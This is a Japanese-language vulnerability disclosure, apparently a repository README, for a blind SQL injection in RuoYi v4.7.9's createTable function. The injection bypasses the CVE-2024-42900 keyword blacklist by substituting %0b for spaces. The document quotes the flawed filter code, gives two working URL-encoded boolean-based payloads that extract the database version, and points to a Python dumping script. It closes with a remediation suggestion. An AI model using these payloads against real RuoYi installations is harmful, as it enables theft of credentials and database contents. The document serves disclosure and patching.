
RuoYi v4.7.9のブラインドSQLインジェクション概念実証エクスプロイト。CVE-2024-42900フィルターをバイパスし、認証済みブールベースのインジェクションを介してデータベースをダンプする。
RuoYi Framework v4.7.9 の createTable 機能にブラインドSQLインジェクションの脆弱性を発見しました。これにより、認証された管理者が sql パラメータを介して任意のSQLコマンドを実行できます。これは CVE-2024-42900 修正のバイパスです。filterKeyword メソッドのSQLインジェクションフィルタが不十分で、スペースの代替文字として %0b を使用することにより正規表現をバイパスできるためです。
Product: RuoYi Framework
Version: ≤ 4.7.9
Link: [RuoYi]
この脆弱性は、次の https://github.com/yangzongzhuan/RuoYi/blob/master/ruoyi-common/src/main/java/com/ruoyi/common/utils/sql/SqlUtil.java ファイルにあります。アプリケーションはSQLインジェクション攻撃をフィルタリングするためにブラックリストキーワードに依存していますが、このアプローチはバイパスされやすいです。このケースでは、CVE-2024-42900を修正するために /* 文字列がブラックリストに追加されましたが、アプリケーションは依然として %0b 文字をブロックしていないため、select%0b を使用してSQLインジェクションを引き起こすことができます。
public class SqlUtil
{
/**
* 定义常用的 sql关键字
*/
public static String SQL_REGEX = "and |extractvalue|updatexml|sleep|exec |insert |select |delete |update |drop |count |chr |mid |master |truncate |char |declare |or |union |like |+|/*|user()";
// Note the space after 'select '
public static void filterKeyword(String value)
{
if (StringUtils.isEmpty(value))
{
return;
}
String[] sqlKeywords = StringUtils.split(SQL_REGEX, "\\|");
for (String sqlKeyword : sqlKeywords)
{
if (StringUtils.indexOfIgnoreCase(value, sqlKeyword) > -1)
{
throw new UtilException("参数存在SQL注入风险");
}
}
}
}
正規表現 select は select (スペースが続く)に一致します。SQLで有効な区切り文字である select%0b には一致しません。
/tool/gen/createTable)を送信します
sql=CREATE%20table%20j2iz96_666%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(ascii(substring((select%0b%40%40version)%2c18%2c1))%3d45%2c%201%2c%201%2f0)%3b
sql=CREATE%20table%20j2iz96_665%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(ascii(substring((select%0b%40%40version)%2c5%2c1))%3d44%2c%201%2c%201%2f0)%3b
注意: クエリが成功するたびに、CREATE クエリ内のテーブル名を変更する必要があります。
3. ブールベースのSQLインジェクションを使用すると、このリポジトリ内のPython [poc] を使用してデータを外部に取り出すことができます
使用方法

DBバージョン抽出PoC

管理者権限を持つ攻撃者は、他のユーザーの認証情報やシステム設定を含むデータベース全体をダンプできます。
%0b 文字をフィルタリングしてください。select の代わりに select をフィルタリングしてください(末尾のスペースを削除)